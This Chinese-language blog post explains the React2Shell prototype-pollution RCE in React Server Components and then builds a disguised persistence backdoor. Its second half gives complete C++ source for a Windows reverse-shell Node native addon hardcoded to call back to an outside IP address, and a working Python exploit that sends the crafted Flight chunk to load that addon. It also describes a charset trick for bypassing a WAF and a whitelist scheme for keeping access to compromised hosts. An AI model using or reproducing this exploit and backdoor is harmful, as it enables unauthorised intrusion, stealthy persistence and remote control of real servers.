React2Shell_Node后门上线

漏洞本身原理阐述

都是翻译的外网跟踪,想看Node后门实现的直接翻到后面即可

漏洞复现分析https://www.stork.ai/blog/reacts-server-killing-flaw-explained?utm_source=chatgpt.com

原型污染听起来很抽象,但在 JavaScript 中,它是最危险的漏洞类型之一。 原型污染并非破坏单个对象,而是允许攻击者篡改 Object.prototype 本身,它是 Node 或浏览器进程中几乎所有对象的共享祖先。一旦这个根对象被攻破,整个对象图就会开始继承攻击者控制的属性。

React Server Components 正是由于其 React Flight Protocol 的路径遍历逻辑而陷入了这个陷阱 。反序列化器支持基于冒号的语法来遍历嵌套结构,因此像 :$1:fruit:name 这样的引用意味着“先遍历 chunk 1,然后是 fruit,最后是 name”。研究人员发现,他们完全可以将普通的键替换为 JavaScript 内部的键,并请求 :__proto__

一旦攻击路径到达 __proto__,攻击者就可以开始写入它。通过发送精心构造的 Flight 数据块,他们可以执行类似 payload: { ":$1:__proto__:pwned": "yes" } 的操作,这实际上会将 Object.prototype.pwned 设置为 "yes"。从那时起,进程中的每个普通对象都会突然拥有一个 pwned 属性,即使是在攻击请求完成后很久才创建的对象也不例外。

Flight 数据结构示例:

1
:$1:fruit:name

意思是:

  • 跳到 chunk 1
  • 找 fruit
  • 取 name

类似 JSON Pointer / YAML Path 的轻量版。

研究员发现:
如果把 fruit 换成 __proto__,反序列化器不会管你是不是内部关键字段,它直接跳过去。

image-20251210173322688

攻击者仍然需要一种方法将损坏的对象图转化为可执行的系统命令。React2Shell 的最终技巧是将这个被污染的原型链接到一个完全武器化的远程代码执行路径,而它所使用的仅仅是 JavaScript 自身的反射特性和异步语义。

一旦攻击者控制了基础对象原型,他们就可以沿着原型链遍历,最终找到全局函数构造函数。在 JavaScript 中,每个函数最终都继承自 Function.prototype,而 Function 本身可以通过类似 ({}).constructor.constructor 的构造函数访问。

有了这种访问权限,有效载荷只需执行所有“no eval”绕过方法都会执行的操作:

1
new Function("require('child_process').execSync('id');")

仍然面临一个问题:**他们可以创建恶意函数,但却无法控制任何明显的调用点。**他们需要利用服务器自身的控制流自动调用该函数,而无需在应用程序代码中显式调用 malicious() 函数。

JavaScript 的 await 关键字弥补了这一缺失环节。其底层原理是 await value 检查 value 是否可执行 then,如果可执行,则调用 value.then(resolve, reject)

通过污染共享原型,定义一个指向攻击者函数实例的 .then 属性,任何等待的对象都会突然变成一个触发器。当 React 服务器组件代码在反序列化值上执行 await 时,JS 引擎会忠实地调用 .then,从而执行任意 shell 命令。无需额外的钩子,也无需任何奇怪的工具——仅仅是普通的异步代码路径就变成了一个通用的远程代码执行跳板。

React2Shell攻击路径:

  1. Flight path traversal → 能访问 __proto__
  2. __proto__ 被赋值 → 污染 Object.prototype
  3. 所有对象继承 .then = attacker_function
  4. RSC 反序列化过程中使用了 await
  5. await 自动调用攻击者注入的 .then
  6. .then 内使用 Function 构造器 → 访问 Node.js 原生模块
  7. 最终触发系统命令:

Node后门实现

在和几位师傅的讨论中,对这个漏洞的利用有提到一个白名单防上车的权限维持需求。当时还在威胁狩猎和广泛利用阶段,因此只草创了几个思路

  1. 修改源码 采用token注册制 只有请求头中带有某个特殊的token才放行 其他的都返回伪装的正常响应,这个就比较
  2. 、直接布waf,然后通过next.js在解析multipart包的时候使用了busboy这个库,这个库实现了RFC 7578中声明的charset选项,所以我们可以通过一些特殊的charset绕过WAF对CVE-2025-55182的拦截 在一定程度上也起到防上车的效果,但是太过简单粗暴容易被察觉
    1&e=1769875199&s=mvmmyvyvjjytvyj&token=kIxbL07-8jAj8w1n4s9zv64FuZZNEATmlU_Vm6zDr15kIp5hDbaVglda_hZObMkblIA=

当时思考了一下,想到了一个新的方案。利用Node自带的C++原生 自己编写一个.node插件,也是走的直接修改源码并import 这个node插件动态加载,本质上还是以修改源码为主,但是作为依赖和二进制文件有先天的隐蔽优越性,因此就打算尝试一下。

但是在复现的过程中,虽然生成了对应的patch.node并在本地测试环境部署了,但遇到了NextJs的Edge Runtime以及Node Runtime两层相互隔离,无法读取到node插件的问题。因此这个插件如果通过修改源码直接import的方式,也是无法解决问题的。因为整个Web应用是运行在Edge Runtime下 是无法调用到文件系统中的patch.node的

unnamed

这个时候我想到一种方法,在跟踪这个React2shell的攻击路径中我发现这个漏洞本身是在 Node.js 原生模块,那么也就是在Node Runtime中,我只需要修改poc,改为动态调用我的原生node后门,是否可以实现一个隐蔽化的仿依赖后门呢

答案是肯定的, 既然执行点最终落在 Node Runtime,那么没有必要把 payload 限制在命令执行层。NodeJS 自带的 Native Addon 机制允许动态加载任意 .node 文件,而 .node 本质就是一段 C/C++ 写的共享库。

既然它能被动态加载,就能当作“依赖”。
既然能当作“依赖”,你就能把它伪装成项目依赖的一部分。
既然能伪装依赖,就能形成一个持久化、文件落地式的伪依赖后门

6afa6913-06e2-4e92-a6cb-bc04095cd50c

这里我就只实现了Windows版本的一个测试用例

源码

exec.cc

这里是一个简单的反弹shell demo

这里可以直接编译成node上传到目标

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <ws2tcpip.h>
#include <windows.h>
#include <node.h>
#include <v8.h>
#include <string>

#pragma comment(lib, "Ws2_32.lib")

using namespace v8;

// Hardcoded reverse shell target
static const char* kRemoteIP = "8.138.168.33";
static const int kRemotePort = 8888;

void Run(const FunctionCallbackInfo<Value>& args) {
Isolate* isolate = args.GetIsolate();
HandleScope scope(isolate);

WSADATA wsa;
if (WSAStartup(MAKEWORD(2,2), &wsa) != 0) {
args.GetReturnValue().Set(String::NewFromUtf8(isolate, "WSAStartup failed").ToLocalChecked());
return;
}

SOCKET s = WSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0);
if (s == INVALID_SOCKET) {
WSACleanup();
args.GetReturnValue().Set(String::NewFromUtf8(isolate, "socket failed").ToLocalChecked());
return;
}

sockaddr_in srv{};
srv.sin_family = AF_INET;
srv.sin_port = htons(kRemotePort);
inet_pton(AF_INET, kRemoteIP, &srv.sin_addr);

if (connect(s, (sockaddr*)&srv, sizeof(srv)) == SOCKET_ERROR) {
closesocket(s);
WSACleanup();
args.GetReturnValue().Set(String::NewFromUtf8(isolate, "connect failed").ToLocalChecked());
return;
}

// Make the socket handle inheritable
SetHandleInformation((HANDLE)s, HANDLE_FLAG_INHERIT, HANDLE_FLAG_INHERIT);

STARTUPINFOA si{};
PROCESS_INFORMATION pi{};
si.cb = sizeof(si);
si.dwFlags = STARTF_USESTDHANDLES;
si.hStdInput = (HANDLE)s;
si.hStdOutput = (HANDLE)s;
si.hStdError = (HANDLE)s;

char cmd[] = "cmd.exe";
BOOL ok = CreateProcessA(
NULL,
cmd,
NULL,
NULL,
TRUE, // inherit handles
CREATE_NO_WINDOW, // no visible window
NULL,
NULL,
&si,
&pi
);

if (!ok) {
closesocket(s);
WSACleanup();
args.GetReturnValue().Set(String::NewFromUtf8(isolate, "CreateProcess failed").ToLocalChecked());
return;
}

// 保持句柄不被关闭,避免反连瞬断:不关闭 socket,不关闭进程句柄
// 启一个后台线程永远阻塞,防止模块卸载
HANDLE hThread = CreateThread(
NULL,
0,
[](LPVOID) -> DWORD {
Sleep(INFINITE);
return 0;
},
NULL,
0,
NULL
);
if (hThread) CloseHandle(hThread);

// 不等待子进程,不关闭 pi.hProcess,让 cmd.exe 拿着 socket
if (pi.hThread) CloseHandle(pi.hThread);
// 留着 pi.hProcess 和 s 直到进程结束

args.GetReturnValue().Set(String::NewFromUtf8(isolate, "ok").ToLocalChecked());
}

void Init(Local<Object> exports) {
NODE_SET_METHOD(exports, "run", Run);
}

NODE_MODULE(exec, Init)


poc

直接运行poc即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
# /// script
# dependencies = ["requests"]
# ///
import requests
import sys
import json
import os


if len(sys.argv) < 3:
print("Usage: python poc.py <target_ip> <target_port>")
sys.exit(1)

target_ip = sys.argv[1]
target_port = sys.argv[2]
BASE_URL = f"http://{target_ip}:{target_port}"
print(f"[+] Target: {BASE_URL}")


prefix_js = (
"const m=process.mainModule.require('module');"
"const req=m.createRequire(process.cwd()+'/');"
"const fs=req('fs');const path=req('path');"
"const cand=[path.join(process.cwd(),'node','exec.node'),path.join(process.cwd(),'exec.node')];"
"let ok=false,err='';"
"for(const p of cand){try{if(fs.existsSync(p)){req(p).run();ok=true;break;}}catch(e){err=String(e);}}"
"if(!ok){throw new Error('exec.node not found '+cand.join('|')+' '+err);} "
)

crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": '{"then": "$B0"}',
"_response": {
"_prefix": prefix_js,
"_formData": {
"get": "$1:constructor:constructor",
},
},
}

files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}

headers = {"Next-Action": "x"}

print("[+] Sending exploit...")
try:
res = requests.post(BASE_URL, files=files, headers=headers, timeout=5, allow_redirects=False)
print(f"[+] Status: {res.status_code}")
try:
print(res.text[:300])
except Exception:
pass
except Exception as e:
print(f"[!] Error during POST: {e}")

绕过模块路径限制 → 构造伪造 require → 从当前目录加载名为 exec.node 的原生模块 → 调用其中的 run() 方法 → 回到 JS 层装作正常执行完毕。

效果

这个时候就会尝试动态加载并反弹shell到VPS上

示例如下

image-20251210180204043


本站由 Satoru 使用 Stellar 主题创建。
本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议,转载请注明出处。